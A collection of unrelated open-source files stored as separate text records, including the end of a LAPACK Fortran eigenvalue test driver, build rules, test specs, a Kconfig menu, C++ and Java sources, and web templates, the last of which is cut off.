LDVR.LT.NMAX ) THEN\n INFO = -18\n ELSE IF( LDLRE.LT.1 .OR. LDLRE.LT.NMAX ) THEN\n INFO = -20\n ELSE IF( 5*NMAX+2*NMAX**2.GT.NWORK ) THEN\n INFO = -23\n END IF\n*\n IF( INFO.NE.0 ) THEN\n CALL XERBLA( 'DDRVEV', -INFO )\n RETURN\n END IF\n*\n* Quick return if nothing to do\n*\n IF( NSIZES.EQ.0 .OR. NTYPES.EQ.0 )\n $ RETURN\n*\n* More Important constants\n*\n UNFL = DLAMCH( 'Safe minimum' )\n OVFL = ONE / UNFL\n CALL DLABAD( UNFL, OVFL )\n ULP = DLAMCH( 'Precision' )\n ULPINV = ONE / ULP\n RTULP = SQRT( ULP )\n RTULPI = ONE / RTULP\n*\n* Loop over sizes, types\n*\n NERRS = 0\n*\n DO 270 JSIZE = 1, NSIZES\n N = NN( JSIZE )\n IF( NSIZES.NE.1 ) THEN\n MTYPES = MIN( MAXTYP, NTYPES )\n ELSE\n MTYPES = MIN( MAXTYP+1, NTYPES )\n END IF\n*\n DO 260 JTYPE = 1, MTYPES\n IF( .NOT.DOTYPE( JTYPE ) )\n $ GO TO 260\n*\n* Save ISEED in case of an error.\n*\n DO 20 J = 1, 4\n IOLDSD( J ) = ISEED( J )\n 20 CONTINUE\n*\n* Compute \"A\"\n*\n* Control parameters:\n*\n* KMAGN KCONDS KMODE KTYPE\n* =1 O(1) 1 clustered 1 zero\n* =2 large large clustered 2 identity\n* =3 small exponential Jordan\n* =4 arithmetic diagonal, (w/ eigenvalues)\n* =5 random log symmetric, w/ eigenvalues\n* =6 random general, w/ eigenvalues\n* =7 random diagonal\n* =8 random symmetric\n* =9 random general\n* =10 random triangular\n*\n IF( MTYPES.GT.MAXTYP )\n $ GO TO 90\n*\n ITYPE = KTYPE( JTYPE )\n IMODE = KMODE( JTYPE )\n*\n* Compute norm\n*\n GO TO ( 30, 40, 50 )KMAGN( JTYPE )\n*\n 30 CONTINUE\n ANORM = ONE\n GO TO 60\n*\n 40 CONTINUE\n ANORM = OVFL*ULP\n GO TO 60\n*\n 50 CONTINUE\n ANORM = UNFL*ULPINV\n GO TO 60\n*\n 60 CONTINUE\n*\n CALL DLASET( 'Full', LDA, N, ZERO, ZERO, A, LDA )\n IINFO = 0\n COND = ULPINV\n*\n* Special Matrices -- Identity & Jordan block\n*\n* Zero\n*\n IF( ITYPE.EQ.1 ) THEN\n IINFO = 0\n*\n ELSE IF( ITYPE.EQ.2 ) THEN\n*\n* Identity\n*\n DO 70 JCOL = 1, N\n A( JCOL, JCOL ) = ANORM\n 70 CONTINUE\n*\n ELSE IF( ITYPE.EQ.3 ) THEN\n*\n* Jordan Block\n*\n DO 80 JCOL = 1, N\n A( JCOL, JCOL ) = ANORM\n IF( JCOL.GT.1 )\n $ A( JCOL, JCOL-1 ) = ONE\n 80 CONTINUE\n*\n ELSE IF( ITYPE.EQ.4 ) THEN\n*\n* Diagonal Matrix, [Eigen]values Specified\n*\n CALL DLATMS( N, N, 'S', ISEED, 'S', WORK, IMODE, COND,\n $ ANORM, 0, 0, 'N', A, LDA, WORK( N+1 ),\n $ IINFO )\n*\n ELSE IF( ITYPE.EQ.5 ) THEN\n*\n* Symmetric, eigenvalues specified\n*\n CALL DLATMS( N, N, 'S', ISEED, 'S', WORK, IMODE, COND,\n $ ANORM, N, N, 'N', A, LDA, WORK( N+1 ),\n $ IINFO )\n*\n ELSE IF( ITYPE.EQ.6 ) THEN\n*\n* General, eigenvalues specified\n*\n IF( KCONDS( JTYPE ).EQ.1 ) THEN\n CONDS = ONE\n ELSE IF( KCONDS( JTYPE ).EQ.2 ) THEN\n CONDS = RTULPI\n ELSE\n CONDS = ZERO\n END IF\n*\n ADUMMA( 1 ) = ' '\n CALL DLATME( N, 'S', ISEED, WORK, IMODE, COND, ONE,\n $ ADUMMA, 'T', 'T', 'T', WORK( N+1 ), 4,\n $ CONDS, N, N, ANORM, A, LDA, WORK( 2*N+1 ),\n $ IINFO )\n*\n ELSE IF( ITYPE.EQ.7 ) THEN\n*\n* Diagonal, random eigenvalues\n*\n CALL DLATMR( N, N, 'S', ISEED, 'S', WORK, 6, ONE, ONE,\n $ 'T', 'N', WORK( N+1 ), 1, ONE,\n $ WORK( 2*N+1 ), 1, ONE, 'N', IDUMMA, 0, 0,\n $ ZERO, ANORM, 'NO', A, LDA, IWORK, IINFO )\n*\n ELSE IF( ITYPE.EQ.8 ) THEN\n*\n* Symmetric, random eigenvalues\n*\n CALL DLATMR( N, N, 'S', ISEED, 'S', WORK, 6, ONE, ONE,\n $ 'T', 'N', WORK( N+1 ), 1, ONE,\n $ WORK( 2*N+1 ), 1, ONE, 'N', IDUMMA, N, N,\n $ ZERO, ANORM, 'NO', A, LDA, IWORK, IINFO )\n*\n ELSE IF( ITYPE.EQ.9 ) THEN\n*\n* General, random eigenvalues\n*\n CALL DLATMR( N, N, 'S', ISEED, 'N', WORK, 6, ONE, ONE,\n $ 'T', 'N', WORK( N+1 ), 1, ONE,\n $ WORK( 2*N+1 ), 1, ONE, 'N', IDUMMA, N, N,\n $ ZERO, ANORM, 'NO', A, LDA, IWORK, IINFO )\n IF( N.GE.4 ) THEN\n CALL DLASET( 'Full', 2, N, ZERO, ZERO, A, LDA )\n CALL DLASET( 'Full', N-3, 1, ZERO, ZERO, A( 3, 1 ),\n $ LDA )\n CALL DLASET( 'Full', N-3, 2, ZERO, ZERO, A( 3, N-1 ),\n $ LDA )\n CALL DLASET( 'Full', 1, N, ZERO, ZERO, A( N, 1 ),\n $ LDA )\n END IF\n*\n ELSE IF( ITYPE.EQ.10 ) THEN\n*\n* Triangular, random eigenvalues\n*\n CALL DLATMR( N, N, 'S', ISEED, 'N', WORK, 6, ONE, ONE,\n $ 'T', 'N', WORK( N+1 ), 1, ONE,\n $ WORK( 2*N+1 ), 1, ONE, 'N', IDUMMA, N, 0,\n $ ZERO, ANORM, 'NO', A, LDA, IWORK, IINFO )\n*\n ELSE\n*\n IINFO = 1\n END IF\n*\n IF( IINFO.NE.0 ) THEN\n WRITE( NOUNIT, FMT = 9993 )'Generator', IINFO, N, JTYPE,\n $ IOLDSD\n INFO = ABS( IINFO )\n RETURN\n END IF\n*\n 90 CONTINUE\n*\n* Test for minimal and generous workspace\n*\n DO 250 IWK = 1, 2\n IF( IWK.EQ.1 ) THEN\n NNWORK = 4*N\n ELSE\n NNWORK = 5*N + 2*N**2\n END IF\n NNWORK = MAX( NNWORK, 1 )\n*\n* Initialize RESULT\n*\n DO 100 J = 1, 7\n RESULT( J ) = -ONE\n 100 CONTINUE\n*\n* Compute eigenvalues and eigenvectors, and test them\n*\n CALL DLACPY( 'F', N, N, A, LDA, H, LDA )\n CALL DGEEV( 'V', 'V', N, H, LDA, WR, WI, VL, LDVL, VR,\n $ LDVR, WORK, NNWORK, IINFO )\n IF( IINFO.NE.0 ) THEN\n RESULT( 1 ) = ULPINV\n WRITE( NOUNIT, FMT = 9993 )'DGEEV1', IINFO, N, JTYPE,\n $ IOLDSD\n INFO = ABS( IINFO )\n GO TO 220\n END IF\n*\n* Do Test (1)\n*\n CALL DGET22( 'N', 'N', 'N', N, A, LDA, VR, LDVR, WR, WI,\n $ WORK, RES )\n RESULT( 1 ) = RES( 1 )\n*\n* Do Test (2)\n*\n CALL DGET22( 'T', 'N', 'T', N, A, LDA, VL, LDVL, WR, WI,\n $ WORK, RES )\n RESULT( 2 ) = RES( 1 )\n*\n* Do Test (3)\n*\n DO 120 J = 1, N\n TNRM = ONE\n IF( WI( J ).EQ.ZERO ) THEN\n TNRM = DNRM2( N, VR( 1, J ), 1 )\n ELSE IF( WI( J ).GT.ZERO ) THEN\n TNRM = DLAPY2( DNRM2( N, VR( 1, J ), 1 ),\n $ DNRM2( N, VR( 1, J+1 ), 1 ) )\n END IF\n RESULT( 3 ) = MAX( RESULT( 3 ),\n $ MIN( ULPINV, ABS( TNRM-ONE ) / ULP ) )\n IF( WI( J ).GT.ZERO ) THEN\n VMX = ZERO\n VRMX = ZERO\n DO 110 JJ = 1, N\n VTST = DLAPY2( VR( JJ, J ), VR( JJ, J+1 ) )\n IF( VTST.GT.VMX )\n $ VMX = VTST\n IF( VR( JJ, J+1 ).EQ.ZERO .AND.\n $ ABS( VR( JJ, J ) ).GT.VRMX )\n $ VRMX = ABS( VR( JJ, J ) )\n 110 CONTINUE\n IF( VRMX / VMX.LT.ONE-TWO*ULP )\n $ RESULT( 3 ) = ULPINV\n END IF\n 120 CONTINUE\n*\n* Do Test (4)\n*\n DO 140 J = 1, N\n TNRM = ONE\n IF( WI( J ).EQ.ZERO ) THEN\n TNRM = DNRM2( N, VL( 1, J ), 1 )\n ELSE IF( WI( J ).GT.ZERO ) THEN\n TNRM = DLAPY2( DNRM2( N, VL( 1, J ), 1 ),\n $ DNRM2( N, VL( 1, J+1 ), 1 ) )\n END IF\n RESULT( 4 ) = MAX( RESULT( 4 ),\n $ MIN( ULPINV, ABS( TNRM-ONE ) / ULP ) )\n IF( WI( J ).GT.ZERO ) THEN\n VMX = ZERO\n VRMX = ZERO\n DO 130 JJ = 1, N\n VTST = DLAPY2( VL( JJ, J ), VL( JJ, J+1 ) )\n IF( VTST.GT.VMX )\n $ VMX = VTST\n IF( VL( JJ, J+1 ).EQ.ZERO .AND.\n $ ABS( VL( JJ, J ) ).GT.VRMX )\n $ VRMX = ABS( VL( JJ, J ) )\n 130 CONTINUE\n IF( VRMX / VMX.LT.ONE-TWO*ULP )\n $ RESULT( 4 ) = ULPINV\n END IF\n 140 CONTINUE\n*\n* Compute eigenvalues only, and test them\n*\n CALL DLACPY( 'F', N, N, A, LDA, H, LDA )\n CALL DGEEV( 'N', 'N', N, H, LDA, WR1, WI1, DUM, 1, DUM,\n $ 1, WORK, NNWORK, IINFO )\n IF( IINFO.NE.0 ) THEN\n RESULT( 1 ) = ULPINV\n WRITE( NOUNIT, FMT = 9993 )'DGEEV2', IINFO, N, JTYPE,\n $ IOLDSD\n INFO = ABS( IINFO )\n GO TO 220\n END IF\n*\n* Do Test (5)\n*\n DO 150 J = 1, N\n IF( WR( J ).NE.WR1( J ) .OR. WI( J ).NE.WI1( J ) )\n $ RESULT( 5 ) = ULPINV\n 150 CONTINUE\n*\n* Compute eigenvalues and right eigenvectors, and test them\n*\n CALL DLACPY( 'F', N, N, A, LDA, H, LDA )\n CALL DGEEV( 'N', 'V', N, H, LDA, WR1, WI1, DUM, 1, LRE,\n $ LDLRE, WORK, NNWORK, IINFO )\n IF( IINFO.NE.0 ) THEN\n RESULT( 1 ) = ULPINV\n WRITE( NOUNIT, FMT = 9993 )'DGEEV3', IINFO, N, JTYPE,\n $ IOLDSD\n INFO = ABS( IINFO )\n GO TO 220\n END IF\n*\n* Do Test (5) again\n*\n DO 160 J = 1, N\n IF( WR( J ).NE.WR1( J ) .OR. WI( J ).NE.WI1( J ) )\n $ RESULT( 5 ) = ULPINV\n 160 CONTINUE\n*\n* Do Test (6)\n*\n DO 180 J = 1, N\n DO 170 JJ = 1, N\n IF( VR( J, JJ ).NE.LRE( J, JJ ) )\n $ RESULT( 6 ) = ULPINV\n 170 CONTINUE\n 180 CONTINUE\n*\n* Compute eigenvalues and left eigenvectors, and test them\n*\n CALL DLACPY( 'F', N, N, A, LDA, H, LDA )\n CALL DGEEV( 'V', 'N', N, H, LDA, WR1, WI1, LRE, LDLRE,\n $ DUM, 1, WORK, NNWORK, IINFO )\n IF( IINFO.NE.0 ) THEN\n RESULT( 1 ) = ULPINV\n WRITE( NOUNIT, FMT = 9993 )'DGEEV4', IINFO, N, JTYPE,\n $ IOLDSD\n INFO = ABS( IINFO )\n GO TO 220\n END IF\n*\n* Do Test (5) again\n*\n DO 190 J = 1, N\n IF( WR( J ).NE.WR1( J ) .OR. WI( J ).NE.WI1( J ) )\n $ RESULT( 5 ) = ULPINV\n 190 CONTINUE\n*\n* Do Test (7)\n*\n DO 210 J = 1, N\n DO 200 JJ = 1, N\n IF( VL( J, JJ ).NE.LRE( J, JJ ) )\n $ RESULT( 7 ) = ULPINV\n 200 CONTINUE\n 210 CONTINUE\n*\n* End of Loop -- Check for RESULT(j) > THRESH\n*\n 220 CONTINUE\n*\n NTEST = 0\n NFAIL = 0\n DO 230 J = 1, 7\n IF( RESULT( J ).GE.ZERO )\n $ NTEST = NTEST + 1\n IF( RESULT( J ).GE.THRESH )\n $ NFAIL = NFAIL + 1\n 230 CONTINUE\n*\n IF( NFAIL.GT.0 )\n $ NTESTF = NTESTF + 1\n IF( NTESTF.EQ.1 ) THEN\n WRITE( NOUNIT, FMT = 9999 )PATH\n WRITE( NOUNIT, FMT = 9998 )\n WRITE( NOUNIT, FMT = 9997 )\n WRITE( NOUNIT, FMT = 9996 )\n WRITE( NOUNIT, FMT = 9995 )THRESH\n NTESTF = 2\n END IF\n*\n DO 240 J = 1, 7\n IF( RESULT( J ).GE.THRESH ) THEN\n WRITE( NOUNIT, FMT = 9994 )N, IWK, IOLDSD, JTYPE,\n $ J, RESULT( J )\n END IF\n 240 CONTINUE\n*\n NERRS = NERRS + NFAIL\n NTESTT = NTESTT + NTEST\n*\n 250 CONTINUE\n 260 CONTINUE\n 270 CONTINUE\n*\n* Summary\n*\n CALL DLASUM( PATH, NOUNIT, NERRS, NTESTT )\n*\n 9999 FORMAT( / 1X, A3, ' -- Real Eigenvalue-Eigenvector Decomposition',\n $ ' Driver', / ' Matrix types (see DDRVEV for details): ' )\n*\n 9998 FORMAT( / ' Special Matrices:', / ' 1=Zero matrix. ',\n $ ' ', ' 5=Diagonal: geometr. spaced entries.',\n $ / ' 2=Identity matrix. ', ' 6=Diagona',\n $ 'l: clustered entries.', / ' 3=Transposed Jordan block. ',\n $ ' ', ' 7=Diagonal: large, evenly spaced.', / ' ',\n $ '4=Diagonal: evenly spaced entries. ', ' 8=Diagonal: s',\n $ 'mall, evenly spaced.' )\n 9997 FORMAT( ' Dense, Non-Symmetric Matrices:', / ' 9=Well-cond., ev',\n $ 'enly spaced eigenvals.', ' 14=Ill-cond., geomet. spaced e',\n $ 'igenals.', / ' 10=Well-cond., geom. spaced eigenvals. ',\n $ ' 15=Ill-conditioned, clustered e.vals.', / ' 11=Well-cond',\n $ 'itioned, clustered e.vals. ', ' 16=Ill-cond., random comp',\n $ 'lex ', / ' 12=Well-cond., random complex ', 6X, ' ',\n $ ' 17=Ill-cond., large rand. complx ', / ' 13=Ill-condi',\n $ 'tioned, evenly spaced. ', ' 18=Ill-cond., small rand.',\n $ ' complx ' )\n 9996 FORMAT( ' 19=Matrix with random O(1) entries. ', ' 21=Matrix ',\n $ 'with small random entries.', / ' 20=Matrix with large ran',\n $ 'dom entries. ', / )\n 9995 FORMAT( ' Tests performed with test threshold =', F8.2,\n $ / / ' 1 = | A VR - VR W | / ( n |A| ulp ) ',\n $ / ' 2 = | transpose(A) VL - VL W | / ( n |A| ulp ) ',\n $ / ' 3 = | |VR(i)| - 1 | / ulp ',\n $ / ' 4 = | |VL(i)| - 1 | / ulp ',\n $ / ' 5 = 0 if W same no matter if VR or VL computed,',\n $ ' 1/ulp otherwise', /\n $ ' 6 = 0 if VR same no matter if VL computed,',\n $ ' 1/ulp otherwise', /\n $ ' 7 = 0 if VL same no matter if VR computed,',\n $ ' 1/ulp otherwise', / )\n 9994 FORMAT( ' N=', I5, ', IWK=', I2, ', seed=', 4( I4, ',' ),\n $ ' type ', I2, ', test(', I2, ')=', G10.3 )\n 9993 FORMAT( ' DDRVEV: ', A, ' returned INFO=', I6, '.', / 9X, 'N=',\n $ I6, ', JTYPE=', I6, ', ISEED=(', 3( I5, ',' ), I5, ')' )\n*\n RETURN\n*\n* End of DDRVEV\n*\n END\n"} {"text": "\n; (function() {\n window.require([\"ace/snippets/apache_conf\"], function(m) {\n if (typeof module == \"object\" && typeof exports == \"object\" && module) {\n module.exports = m;\n }\n });\n })();\n "} {"text": "# This file constructs a dummy workspace to test\n# haskell binaries that are included from outside repositories\n# (because linking external repositories works differently).\n\n# Repo-ception, in the sense that we build a WORKSPACE\n# that references the workspaces already set up in the\n# `rules_haskell` WORKSPACE.\ndef _haskell_package_repository_dummy_impl(rep_ctx):\n rep_ctx.file(\n \"WORKSPACE\",\n executable = False,\n content = \"\"\"\nrepository(name={name})\n\nregister_toolchains(\n \"@rules_haskell//tests/:ghc\"\n)\n\"\"\".format(name = rep_ctx.name),\n )\n\n # this mirrors tests/library-with-cbits\n\n rep_ctx.file(\n \"BUILD\",\n executable = False,\n content = \"\"\"\nload(\n \"@rules_haskell//haskell:defs.bzl\",\n \"haskell_toolchain\",\n \"haskell_library\",\n)\nload(\n \"@rules_haskell//:constants.bzl\",\n \"test_ghc_version\",\n)\n\nhaskell_library(\n name = \"library-with-cbits\",\n srcs = [\"AddOne.hs\"],\n deps = [\n \"@rules_haskell//tests/data:ourclibrary\",\n \"@rules_haskell//tests/hackage:base\",\n ],\n\n linkstatic = False,\n visibility = [\"//visibility:public\"],\n)\n\"\"\",\n )\n\n rep_ctx.file(\n \"AddOne.hs\",\n executable = False,\n content = \"\"\"\nmodule AddOne where\n\nforeign import ccall \"c_add_one\" addOne :: Int -> Int\n\"\"\",\n )\n\nhaskell_package_repository_dummy = repository_rule(\n _haskell_package_repository_dummy_impl,\n local = True,\n)\n"} {"text": "package org.wicketstuff.scala.model\n\nimport org.apache.wicket.model.{CompoundPropertyModel, IModel, PropertyModel}\nimport org.apache.wicket.util.time.Duration\nimport org.wicketstuff.scala.WicketSpec\n\nimport scala.concurrent.TimeoutException\nimport scala.concurrent.duration._\nimport scala.util.{Failure, Try}\n\n/**\n * Tests for ScalaModel\n */\nclass ScalaModelSpec\n extends WicketSpec\n with ScalaModel {\n\n test(\"Loadable detachable model\") {\n val model = ldM({1 + 2})\n model.getObject mustBe 3\n }\n\n test(\"Future model with simple result\") {\n val model = futureM[Integer]({1 + 2})\n model.getObject mustBe 3\n }\n\n test(\"Future model with timeout\") {\n val model: FutureModel[String] = futureM({\n Duration.milliseconds(1500).sleep()\n \"result\"\n }, 500.millis)\n val result = Try(model.getObject)\n result match {\n case Failure(x) if x.isInstanceOf[TimeoutException] => true mustBe true\n case wrong: Any => fail(s\"Wrong result: $wrong\")\n }\n }\n\n test(\"Model - null\") {\n val value: String = null\n val model = basicM(value)\n model mustNot be (null)\n model.getObject mustBe value\n }\n\n test(\"Model - String\") {\n val value: String = \"value\"\n val model = basicM(value)\n model mustNot be (null)\n model.getObject mustBe value\n }\n\n test(\"PropertyModel\") {\n val john = Person(\"John\", 42)\n val model: PropertyModel[Array[Char]] = propertyM[Array[Char]](john, \"name\")\n model mustNot be (null)\n model.getObject must equal(john.name)\n }\n\n test(\"CompoundPropertyModel - object\") {\n val john = Person(\"John\", 42)\n val model: CompoundPropertyModel[Person] = compoundM(john)\n model.getObject must equal(john)\n val nameModel: IModel[String] = model.bind[String](\"name\")\n nameModel.getObject must equal(john.name)\n }\n\n test(\"CompoundPropertyModel - model\") {\n val john = Person(\"John\", 42)\n val model: CompoundPropertyModel[Person] = compoundM(basicM(john))\n model.getObject must equal(john)\n val nameModel: IModel[String] = model.bind[String](\"name\")\n nameModel.getObject must equal(john.name)\n }\n\n case class Person(name: String, age: Int)\n}\n"} {"text": "# SPDX-License-Identifier: GPL-2.0-only\n#\n# Near Field Communication (NFC) devices\n#\n\nmenu \"Near Field Communication (NFC) devices\"\n\tdepends on NFC\n\nconfig NFC_TRF7970A\n\ttristate \"Texas Instruments TRF7970a NFC driver\"\n\tdepends on SPI && NFC_DIGITAL && GPIOLIB\n\thelp\n\t This option enables the NFC driver for Texas Instruments' TRF7970a\n\t device. Such device supports 5 different protocols: ISO14443A,\n\t ISO14443B, FeLiCa, ISO15693 and ISO18000-3.\n\n\t Say Y here to compile support for TRF7970a into the kernel or\n\t say M to compile it as a module. The module will be called\n\t trf7970a.ko.\n\nconfig NFC_MEI_PHY\n\ttristate \"MEI bus NFC device support\"\n\tdepends on INTEL_MEI && NFC_HCI\n\thelp\n\t This adds support to use an mei bus nfc device. Select this if you\n\t will use an HCI NFC driver for an NFC chip connected behind an\n\t Intel's Management Engine chip.\n\n\t If unsure, say N.\n\nconfig NFC_SIM\n\ttristate \"NFC hardware simulator driver\"\n\tdepends on NFC_DIGITAL\n\thelp\n\t This driver declares two virtual NFC devices supporting NFC-DEP\n\t protocol. An LLCP connection can be established between them and\n\t all packets sent from one device is sent back to the other, acting as\n\t loopback devices.\n\n\t If unsure, say N.\n\nconfig NFC_PORT100\n\ttristate \"Sony NFC Port-100 Series USB device support\"\n\tdepends on USB\n\tdepends on NFC_DIGITAL\n\thelp\n\t This adds support for Sony Port-100 chip based USB devices such as the\n\t RC-S380 dongle.\n\n\t If unsure, say N.\n\nsource \"drivers/nfc/fdp/Kconfig\"\nsource \"drivers/nfc/pn544/Kconfig\"\nsource \"drivers/nfc/pn533/Kconfig\"\nsource \"drivers/nfc/microread/Kconfig\"\nsource \"drivers/nfc/nfcmrvl/Kconfig\"\nsource \"drivers/nfc/st21nfca/Kconfig\"\nsource \"drivers/nfc/st-nci/Kconfig\"\nsource \"drivers/nfc/nxp-nci/Kconfig\"\nsource \"drivers/nfc/s3fwrn5/Kconfig\"\nsource \"drivers/nfc/st95hf/Kconfig\"\nendmenu\n"} {"text": "// Package isatty implements interface to isatty\npackage isatty\n"} {"text": "/*********************************************************************\n* Software License Agreement (BSD License)\n*\n* Copyright (c) 2010, Rice University\n* All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without\n* modification, are permitted provided that the following conditions\n* are met:\n*\n* * Redistributions of source code must retain the above copyright\n* notice, this list of conditions and the following disclaimer.\n* * Redistributions in binary form must reproduce the above\n* copyright notice, this list of conditions and the following\n* disclaimer in the documentation and/or other materials provided\n* with the distribution.\n* * Neither the name of the Rice University nor the names of its\n* contributors may be used to endorse or promote products derived\n* from this software without specific prior written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n* \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n* POSSIBILITY OF SUCH DAMAGE.\n*********************************************************************/\n\n/* Author: Ioan Sucan */\n\n#include \"ompl/base/samplers/GaussianValidStateSampler.h\"\n#include \"ompl/base/SpaceInformation.h\"\n#include \"ompl/tools/config/MagicConstants.h\"\n\nompl::base::GaussianValidStateSampler::GaussianValidStateSampler(const SpaceInformation *si)\n : ValidStateSampler(si)\n , sampler_(si->allocStateSampler())\n , stddev_(si->getMaximumExtent() * magic::STD_DEV_AS_SPACE_EXTENT_FRACTION)\n{\n name_ = \"gaussian\";\n params_.declareParam<double>(\"standard_deviation\",\n [this](double stddev)\n {\n setStdDev(stddev);\n },\n [this]\n {\n return getStdDev();\n });\n}\n\nbool ompl::base::GaussianValidStateSampler::sample(State *state)\n{\n bool result = false;\n unsigned int attempts = 0;\n State *temp = si_->allocState();\n do\n {\n sampler_->sampleUniform(state);\n bool v1 = si_->isValid(state);\n sampler_->sampleGaussian(temp, state, stddev_);\n bool v2 = si_->isValid(temp);\n if (v1 != v2)\n {\n if (v2)\n si_->copyState(state, temp);\n result = true;\n }\n ++attempts;\n } while (!result && attempts < attempts_);\n si_->freeState(temp);\n return result;\n}\n\nbool ompl::base::GaussianValidStateSampler::sampleNear(State *state, const State *near, const double distance)\n{\n bool result = false;\n unsigned int attempts = 0;\n State *temp = si_->allocState();\n do\n {\n sampler_->sampleUniformNear(state, near, distance);\n bool v1 = si_->isValid(state);\n sampler_->sampleGaussian(temp, state, distance);\n bool v2 = si_->isValid(temp);\n if (v1 != v2)\n {\n if (v2)\n si_->copyState(state, temp);\n result = true;\n }\n ++attempts;\n } while (!result && attempts < attempts_);\n si_->freeState(temp);\n return result;\n}\n"} {"text": "{% extends \"base.html\" %}\n{% block content %}\n<p style=\"margin-bottom: 10px;\"><img src=\"{{ STATIC_URL }}graphic/cuckoo.png\" /></p>\n{% if completed %}\n <div class=\"alert alert-success\"><h4>Good news! :-)</h4>The analysis is completed, you can view it <a href=\"{% url \"analysis.views.report\" task_id %}\">here</a>.</div>\n{% else %}\n <script type=\"text/JavaScript\">setTimeout(\"location.reload(true);\",30000);</script>\n <div class=\"alert alert-info\">\n <h4>Hang on...</h4>\n <p>The analysis is not completed yet, it's still <b>{{status}}</b>. This page will refresh every 30 seconds.</p>\n <div class=\"progress progress-striped active\" style=\"margin-top: 10px;\">\n <div class=\"progress-bar progress-bar-info\" role=\"progressbar\" aria-valuenow=\"45\" aria-valuemin=\"0\" aria-valuemax=\"100\" style=\"width: 100%\"></div>\n </div>\n </div>\n{% endif %}\n{% endblock %}\n"} {"text": "/*M///////////////////////////////////////////////////////////////////////////////////////\n//\n// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.\n//\n// By downloading, copying, installing or using the software you agree to this license.\n// If you do not agree to this license, do not download, install,\n// copy or use the software.\n//\n//\n// License Agreement\n// For Open Source Computer Vision Library\n//\n// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.\n// Copyright (C) 2009-2010, Willow Garage Inc., all rights reserved.\n// Third party copyrights are property of their respective owners.\n//\n// Redistribution and use in source and binary forms, with or without modification,\n// are permitted provided that the following conditions are met:\n//\n// * Redistribution's of source code must retain the above copyright notice,\n// this list of conditions and the following disclaimer.\n//\n// * Redistribution's in binary form must reproduce the above copyright notice,\n// this list of conditions and the following disclaimer in the documentation\n// and/or other materials provided with the distribution.\n//\n// * The name of the copyright holders may not be used to endorse or promote products\n// derived from this software without specific prior written permission.\n//\n// This software is provided by the copyright holders and contributors \"as is\" and\n// any express or implied warranties, including, but not limited to, the implied\n// warranties of merchantability and fitness for a particular purpose are disclaimed.\n// In no event shall the Intel Corporation or contributors be liable for any direct,\n// indirect, incidental, special, exemplary, or consequential damages\n// (including, but not limited to, procurement of substitute goods or services;\n// loss of use, data, or profits; or business interruption) however caused\n// and on any theory of liability, whether in contract, strict liability,\n// or tort (including negligence or otherwise) arising in any way out of\n// the use of this software, even if advised of the possibility of such damage.\n//\n//M*/\n\n#ifndef OPENCV_WORLD_HPP\n#define OPENCV_WORLD_HPP\n\n#include \"opencv2/core.hpp\"\n\n#ifdef __cplusplus\nnamespace cv\n{\n\nCV_EXPORTS_W bool initAll();\n\n}\n\n#endif\n\n#endif\n"} {"text": "/*\n * Copyright (c) 2017-2018 THL A29 Limited, a Tencent company. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.tencentcloudapi.vpc.v20170312.models;\n\nimport com.tencentcloudapi.common.AbstractModel;\nimport com.google.gson.annotations.SerializedName;\nimport com.google.gson.annotations.Expose;\nimport java.util.HashMap;\n\npublic class ResetNatGatewayConnectionResponse extends AbstractModel{\n\n /**\n * 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。\n */\n @SerializedName(\"RequestId\")\n @Expose\n private String RequestId;\n\n /**\n * Get 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 \n * @return RequestId 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。\n */\n public String getRequestId() {\n return this.RequestId;\n }\n\n /**\n * Set 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。\n * @param RequestId 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。\n */\n public void setRequestId(String RequestId) {\n this.RequestId = RequestId;\n }\n\n /**\n * Internal implementation, normal users should not use it.\n */\n public void toMap(HashMap<String, String> map, String prefix) {\n this.setParamSimple(map, prefix + \"RequestId\", this.RequestId);\n\n }\n}\n\n"} {"text": "<#include \"commons-macros.ftl\">\n\n<div class=\"fade aside aside-sm b-r\" id=\"content-aside\">\n\t<div class=\"modal-dialog d-flex flex-column h-100\">\n\t\t<div class=\"navbar box-shadow\">\n\t\t\t<div class=\"input-group flex mr-1\">\n \t<input id=\"qt\" type=\"text\" class=\"form-control px-0 no-bg no-border no-shadow search\" placeholder=\"Search...\" required=\"\">\n \t<span class=\"input-group-btn\">\n \t<button class=\"btn no-bg no-border no-shadow\" type=\"button\"><i class=\"fa fa-search text-muted text-xs\"></i></button>\n \t</span>\n </div>\n\t\t</div>\n\t\t<div class=\"scrollable hover\">\n\t\t\t<div class=\"list inset\">\n\t\t\t\t<div class=\"p-2 px-3 text-muted text-sm\">Tags</div>\n\t\t\t\t<#list categoryContext as category>\n\t\t\t\t\t<div class=\"list-item attr\">\n\t\t\t\t\t\t<div 